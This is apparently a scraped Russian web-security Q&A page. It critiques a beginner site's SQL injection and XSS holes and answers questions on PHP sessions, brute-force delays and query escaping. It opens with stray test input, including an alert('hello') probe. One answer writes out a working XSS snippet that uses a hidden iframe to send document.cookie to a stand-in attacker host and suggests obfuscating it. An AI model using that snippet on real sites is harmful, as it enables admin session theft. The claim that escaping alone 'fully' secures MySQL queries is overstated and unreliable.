alert('hello'); hello ddddddd dddd ddddddddddd dddddddddddddddd dd dddd ddddddddd ddd dddddddd dd dddddd dddddddddddd ddddddddd ddddddddddd dd dddd dddddddddddd dd ddd ddddddd dddddddddd dddddddddddd ddd dd dddd dddddddd dddd ddddd dddd ddddddd d dddd dddddddd ра дывал п у дм жчсдялыпыа adfasdf asadf adf asdf asdf adf asdfasdfasfdasdfagfsdghsdbcxasdf
Опять же, интерфейса к этой таблице на сайте нет. То есть, в последний момент автор забоялся, и прикрутил вместо нее к сайту Disqus. Очень, очень остроумный способ тестирования.
Судя по тому, что в комментариях автор путает XSS с SQL инъекцией (собираясь защищаться от первой с помощью "stmt"), а "скрытая админка" почитается им как верх хитроумия в защите сайта, то ему просто рано выклыдывать что-либо на тестирование.
По поводу намека на дыры. Дело в том, что никакие намеки здесь не нужны. Все, что тебе нужно знать - это то, что была SQL инъекция. Ну так об этом было сказано безо всяких намеков, открытым текстом. А вот какая конкретно - для защиты знать не нужно, от слова "совсем". Фишка в том, что для обеспечения защиты про дыры знать не нужно. Защита от атак иррелевантна самим атакам. Про то что нужно для защиты - написано было во всех учебниках (ну, кроме устаревших): надо, чтобы любые переменные попадали в запрос не напрямую, а через плейсхолдеры. Вот это и надо было делать. Ты об этом знал (как следует из твоих комментариев, когда ты собрался XSS лечить через "stmt"), но не придавал значения. Вот теперь, после того как ты закрыл эту дыру, надеюсь, будешь придавать.
И опять же, сам видишь - чтобы закрыть дыру тебе не понадобилось узнавать, как был произведен взлом. Чтобы строить защиту, надо уметь строить, а не ломать. "Намекать на дыры" бесполезно. Здесь смысл не в том, чтобы залатать одну конкретную, а в том, чтобы все запросы без исключения выполнялись по единому безопасному принципу. И тогда хакер пусть хоть в лепешку разобьётся, но ни одной дыры не найдёт.
По поводу XSS. Ситуация довольно забавная. Действительно, где-то в недрах сайта режется, почему-то, прямой слеш. Но, разумеется, это не может помещать, и XSS можно внедрить и без слеша. Но тут уже, увы, на твою защиту встают браузеры, которые научились отфильтровывать такие явные XSS-через-запрос за горе-программистов.
Но опять же, надеяться на браузер - это значит гарантированно налететь на инъекцию. Такие вещи надо делать самому. Причем делать, опять же, не "как бог на душу положит", а сис-те-ма-ти-чес-ки!
Вот ты вырезал теги в фидбеке и успокоился. А в идентификаторе страницы - нет. А здесь должна быть та же система, что и с SQL инъекциями - не надо сидеть и думать, где знадо защищаться, а где не надо. Защищаться надо везде!
В защите от XSS аналогом плейсхолдеров в SQL может являться шаблонизатор с автоискейпингом. То есть, мы можем считать себя в безопасности, если
Любой, абсолютно любой вывод производится только через шаблонизатор. По умолчанию шаблонизатор форматирует ВСЕ выводимые переменные. И только те, для которых указано явно, что они должны выводиться как есть - выводятся как есть.
Таким шаблонизатором, в частности, является Twig
Да, и еще одно замечание. Код
or die("Ошибка в запросе $zapros");
это просто подарок взломщику. Скажем, если бы его не было, то я бы просто не взялся ломать - это потребовало бы куда больше времени, а время - деньги.
Судя по всему, ты прямо в коде обращаешься к функциям mysqli. Этого делать тоже не надо, но к безопасности это отношения не имеет, а для практики сойдёт. Но эти свои чудовищные or die() постирай все до единого. Вместо этого перед коннектом к mysql напиши одну строчку,
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

подделка сессии

Допустим с помощью php создаю сессию:
$_SESSION['user_id'] = 22;
Браузер я так понимаю, создает cookie с id юзера в зашифрованном виде (скажем с помощью md5). То есть если генерировать с помощью md5 user_id другой (17 к примеру) и заменить cookie, то получается можно получить доступ к юзеру с id 17? Или я что-то не понимаю?

Ответ

У каждой PHP сессии уникальный код который нельзя так просто подобрать, а все данные сессии хранятся только на сервере этот "уникальный код" который устанавливается в cookie т.е работает так
Юзер заходит на сайт (при запросе на скачивание html в HTTP заголовках возвращается запрос на установку в cookie с названием PHPSESSION уникального кода который не зависит от $_SESSION['user_id'] = 22;) Потом браузер просто с этим ключом обращается к серверу
Проще говоря можно представить что $_SESSION это файл сессии, user_id ячейка в этом файле, а 22 это значение ячейки user_id
P.s данные сессии не как нельзя получить на стороне пользователя (если их только самому не отдать ему к примеру выводом через echo $_SESSION['user_id'];)

Как сделать таймаут при вводе пароля?

Хочу сделать защиту от перебора паролей (метод «грубой силы») в моей системе на PHP для Панели Администратора. У меня уже стоит CAPTCHA, но это не защищает. Хочу сделать таймаут. Ввел 5 раз не правильно пароль — отдыхай 12 часов. Проблема вот в чем: просто так отследить компьютер-то не получается, IP у многих динамичный, а Cookie легко удаляются. Писать в БД «для всех» тоже не хорошо: вдруг кто-то просто так захочет побаловаться, а администратор потом будет сутки ждать. Есть, конечно, другой вариант: ставить таймаут после каждого ввода пароля секунд на 5, так, чтобы сильно замедлить брутфорс + можно после 100 неправильных паролей отсылать на email владельцу сайта письмо, мол, пытаются взломать. Что Вы думаете об этом?

Ответ

После первой неудачной попытки авторизации в час «проверяйте» пароль секунд 5-10 перед тем, как сообщить верный ли он. Пользователя при входе кидает на промежуточную страницу «минуточку, проверяем пароль», которая обновится только через 10 секунд и только тогда будет известно, вошли мы или нет. Обновил страницу раньше — продолжаешь ждать. Для этого на сервере, при каждой попытке авторизации: Проверяем время последней неудачной попытки входа. Если дальше, чем час назад — переходим к п.5. Запоминаем в сессии время начала запроса. Отдаем страницу «пожалуйста, подождите», которая всеми средствами (, javascript, ручная ссылка «обновить») обновляет себя. При каждом обращении смотрим, прошло ли 10 секунд с начала операции. Если не прошло — см. п.3, если нет — п.5. Выдаем результат авторизации, если успешно — логиним пользователя, если нет — запоминаем время неуспешной авторизации и назад на форму входа и от нее снова начиная с п.1. Брутфорс на скорости в меньше десятка паролей в минуту быстро перестанет быть интересным. Легитимный пользователь же подождет свои 10 секунд и успешно залогинится. Всякое security through obscurity типа входа по GET-параметрам не рекомендую. Оно будет или не сильно полезным или вредным (ссылка для входа останется в истории браузера и будет регулярно вылезать автокомплитом — прекрасная вещь для демонстрации гостям).

Взлом с помощью Javascript

Вопрос такого рода: могут ли взломать сайт с помощью внедрения JS кода? Да-да, многие говорят что фантазия безгранична, и что взломать вроде можно, но я пока не вижу способов, да я и в JS не большой спец. Хотелось бы увидеть конкретный пример взлома сайта (получения доступа к ftp, к файлам, возможность удалять/создавать файлы, менять права и тп.) Для внутренних органов: интересуюсь чисто в целях самозащиты =) Хочу давать право на написание статей на блоге незнакомым авторам, вот и интересно - WP пропускает JS прекрасно, делать с этим что-то, или оставить так.

Ответ

Банальный пример: var i = document.createElement('iframe'); i.style='width: 1px; height: 1px; visibility: hidden;'; document.getElementsByTagName('body')[0].appendChild(i); i.src='http://vasya-pupkin-xakep.org/stealcookie.php?c='+document.cookie; Таким образом хакер Вася Пупкин часто тырит админские куки и очень быстро заходит с ними на сайт. Если у админа есть возможность редактировать файлы из админки - это полный контроль (есть такие штуки как phpftp и phpmyadmin) Также этот код можно за- и перешифровать три раза, чтобы это был нечитаемый набор символов. Вместо куков можно просто таким образом накручивать посещения другому сайту etc.

Как полностью обезопасить работу с Mysql?

В интернете я нашёл только один способ взлома Mysql базы данных - sql-инъекция. Однако там же я нашёл и решение, как не допустить попадание нежелательных символов в mysql_query
$query = sprintf("SELECT * FROM sometable WHERE somevar='%s'", mysql_real_escape_string($var)); mysql_query($query);
И тем не менее, многие люди настойчиво рекомендуют переходить на другие расширения по работе с Mysql (PDO, например), считая оригинальное API априори небезопасным и недостаточно функциональным. На последнее я не жалуюсь, но безопасность важна для меня.
И вот вот вопрос: полностью ли меня обезопасил от хакерских атак код, приведённый выше? Если нет, то возможно ли мне обезопаситься полностью, не переходя на другие расширения?

Ответ

Если рассматривать ситуацию только в контексте "безопасность запросов от хакерских атак", то ответ: "Да, код, приведённый выше, полностью обезопасил от хакерских атак".
Однако при разработке остальные моменты тоже нужно учитывать

Что нужно знать хакеру? [закрыт]

Что нужно знать, чтобы вытворить такое: YouTube: Хакеры веселятся? А именно, какие технологии, уровни OSI и т.п. нужно хорошо знать?

Ответ

Первое - бегать. Хорошо бегать, потому что как догонят, хорошо дадут. Второе - нужно разбираться в том, что теперь модно называть "умный дом" - когда свет, тепло и другие коммуникации управляются централизовано. Понятно, что если свет включается только обычным включателем, то будь в десятом колене потомственным "хакером" - ничего не получится. Поэтому, очень хорошо изучить электронику и электротехнику, хотя бы на базовом уровне факультета типа РТФ. Уметь держать в руках паяльник - приветствуется. Третье - английский. Просто очень много литературы на нем и с ним будет заметно проще. Четвертое, учитывая последние тенденции - и китайский (что бы читать доки в оригинале). Пятое - тетрис/стрелялку уметь написать, потом вывести на экран уже не штука. Но уметь нужно. Желательно изучить с++/ассемблер. Другими языками брезговать также не стоит. И напоследок - куча свободного времени, желание учится и не сдаватся и немного везения.